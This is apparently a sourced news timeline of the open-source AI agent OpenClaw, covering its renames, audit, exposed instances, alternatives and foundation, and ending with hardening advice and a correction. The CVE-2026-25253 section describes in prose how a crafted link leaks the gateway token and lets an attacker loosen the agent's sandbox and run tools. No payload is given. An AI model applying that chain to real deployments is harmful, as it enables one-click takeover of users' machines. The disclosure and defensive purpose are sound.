TL;DR
OpenClaw is an open-source AI agent that Peter Steinberger started in late 2025 under the name Clawdbot. By the end of January 2026 it had more than 100,000 GitHub stars and two new names, Moltbot and then OpenClaw. In the same weeks CVE-2026-25253 let a single crafted link hand an attacker the token of a user's gateway, and on 9 February The Register reported more than 135,000 OpenClaw instances reachable from the internet. A week later Steinberger said he was joining OpenAI and that the project would move to a foundation; the OpenClaw Foundation was announced on 8 July 2026. Every event below links to its source.
Late 2025: Clawdbot
Steinberger published the project as Clawdbot, a personal assistant that runs on your own machine, talks to you through chat apps and acts with tools: files, shell, browser. Its name played on Claude, Anthropic's model. It spread fast: TechCrunch counted more than 100,000 GitHub stars gathered in about two months on 30 January 2026.
What made it spread is also what made it risky: tools ran with the user's own permissions, and the gateway that drives the agent could be reached from a browser. Those defaults are fine on one person's laptop. They are not on a server with a public IP.
January 2026: an audit, two renames, a fix
- 25 January. The Argus Security Platform posted an automated audit of the repository on the project's issue tracker: 512 findings, 8 rated critical. These are the output of scanners (Semgrep, Trivy, Gitleaks, TruffleHog) and an AI review, not 512 confirmed vulnerabilities, but the list put authentication off by default and plaintext credentials in front of the maintainers.
- Late January. After Anthropic objected to the name, Clawdbot became Moltbot, and a few days later OpenClaw. TechCrunch reports that Anthropic prompted the first change, not the second, and that Steinberger checked the new name's trademarks and asked OpenAI before settling on it (TechCrunch, 30 January 2026).
- Release 2026.1.29 fixed what became CVE-2026-25253 (below). Every earlier release, shipped as Clawdbot or Moltbot, is affected.
CVE-2026-25253: one click, one token
NVD published
CVE-2026-25253 on
1 February 2026, CVSS 3.1 score 8.8 (high), with the vendor advisory
GHSA-g8p2-7wf7-98mq.
The Control UI read a gatewayUrl value from the query string and
connected to it over WebSocket on page load, sending the stored gateway
token. From the advisory:
- clicking a crafted link, or loading a page that redirects to one, made the Control UI connect to the attacker's gateway and hand over the token;
- with that token the attacker could connect to the victim's real gateway, loosen the sandbox and tool policies and run tools, which is what turns a token leak into one-click code execution;
- binding the gateway to loopback did not help: the victim's own browser made the connection.
Release 2026.1.29 asks the user to confirm a new gateway URL instead of connecting to it. Public write-ups by depthfirst and Ethiack walk through the chain end to end. Every OpenClaw CVE since, with its affected and fixed versions, is on the OpenClaw CVE page.
February 2026: exposed, and a departure
- 9 February. SecurityScorecard's STRIKE team counted more than 135,000 OpenClaw instances reachable from the internet, up from about 40,000 earlier that day (The Register). These are exposed instances, not installs: we know of no published count of installs.
- Mid-February. Steinberger announced that he was joining OpenAI, and that OpenClaw would move to a foundation and stay open source (Trending Topics, 16 February 2026).
The alternatives that grew alongside
None of these is an OpenClaw fork; each started on its own codebase.
NanoClaw, from the nanocoai project: its first commit dates from 31 January 2026 and the first entry of its changelog, 1.1.0, from 23 February. Its README pitches OpenClaw's core functionality in a codebase small enough to understand, with each agent in its own Linux container and Docker as the default runtime (README of February 2026, changelog, read on 18 October 2026).
IronClaw, from NEAR AI, whose first release, v0.1.0, came out on 12 February. Its README calls it a Rust reimplementation inspired by OpenClaw, with untrusted tools in WebAssembly sandboxes; it is licensed MIT or Apache-2.0 (README, releases, read on 18 October 2026).
Hermes Agent, from Nous Research, whose repository was created in July
2025; its first tagged GitHub release, v0.2.0, came on 12 March 2026. Its
terminal tool runs commands on the host by default (the local backend),
with an approval step for dangerous commands; Docker and other sandboxes are
opt-in
(releases,
default backend in v2026.3.12,
read on 18 October 2026).
Nanobot, a Python agent from the HKU Data Intelligence Lab, launched in early February with a README that spoke of about 4,000 lines of core code (README of February 2026). ZeroClaw, a single Rust binary with approvals and an OS sandbox on by default, and Moltworker, Cloudflare's proof of concept that runs OpenClaw in a Cloudflare Sandbox container, complete the list. We compare them in the alternatives guide.
July 2026: the OpenClaw Foundation
On 8 July 2026 Dave Morin, its chair, and Steinberger announced the OpenClaw Foundation, a US 501(c)(3) non-profit. Steinberger, now at OpenAI, keeps making the calls, the technical ones first. The foundation names the University of Michigan as its largest donor, with Offline Holdings, Lobster Computer Company and OpenAI among the major ones, and NVIDIA, Microsoft and Red Hat as partners (OpenClaw Foundation).
What we take from it
This section is our reading, not a sourced fact.
Fast growth is a security event. The defaults that made OpenClaw easy to try (tools with your permissions, a gateway a browser can reach) are the ones that turned 135,000 exposed instances into a problem. A project that spreads this fast reaches servers its defaults were not written for.
Governance comes late. A foundation arrived five months after the crisis. Projects in this space that are growing now can ask early who answers security reports, how fast, and with what process, before the install base asks for them.
The field moved toward isolation, unevenly. NanoClaw starts every agent in a container; IronClaw runs untrusted tools in WebAssembly; ZeroClaw turns its OS sandbox on by default. Hermes Agent, OpenClaw and Nanobot still ship with tools on the host unless you switch a sandbox on: see sandboxed tool execution.
If you run OpenClaw today
- Run a current release: check the OpenClaw CVE page for the fixed version of each CVE against the one you run, or paste your compose file into the StackScanner.
- Keep the gateway on loopback, its default on a host install, and reach the Control UI through Tailscale or an SSH tunnel. If it has to listen on another address (container images do by default), put authentication in front of it: the project's gateway security page links its exposure checklist, and
openclaw security auditreports insecure settings. - If your gateway was reachable from the internet before 2026.1.29, rotate its token and the credentials the agent held.
- Read the project's security policy and decide whether your deployment fits its assumptions.
If you are choosing an agent rather than running one, the alternatives guide goes through them one by one.
Correction, 27 October 2026: earlier versions of this timeline gave install counts (28,000 by 1 December, about 70,000 by the end of January, 135,000 overall), a September 2025 talk in Vienna, an OpenClaw 1.0 release on 11 November 2025, a disclosure by Giskard, a Kaspersky headline, twelve CVEs filed on 5 February, a Linux Foundation project announced on 1 March with a steering committee that excluded Steinberger, and figures for the 2026.3.0 release. No source we can show backs them. The 135,000 is a count of exposed instances; the OpenClaw name dates from the end of January 2026; the foundation was announced on 8 July 2026 and Steinberger still makes its technical calls.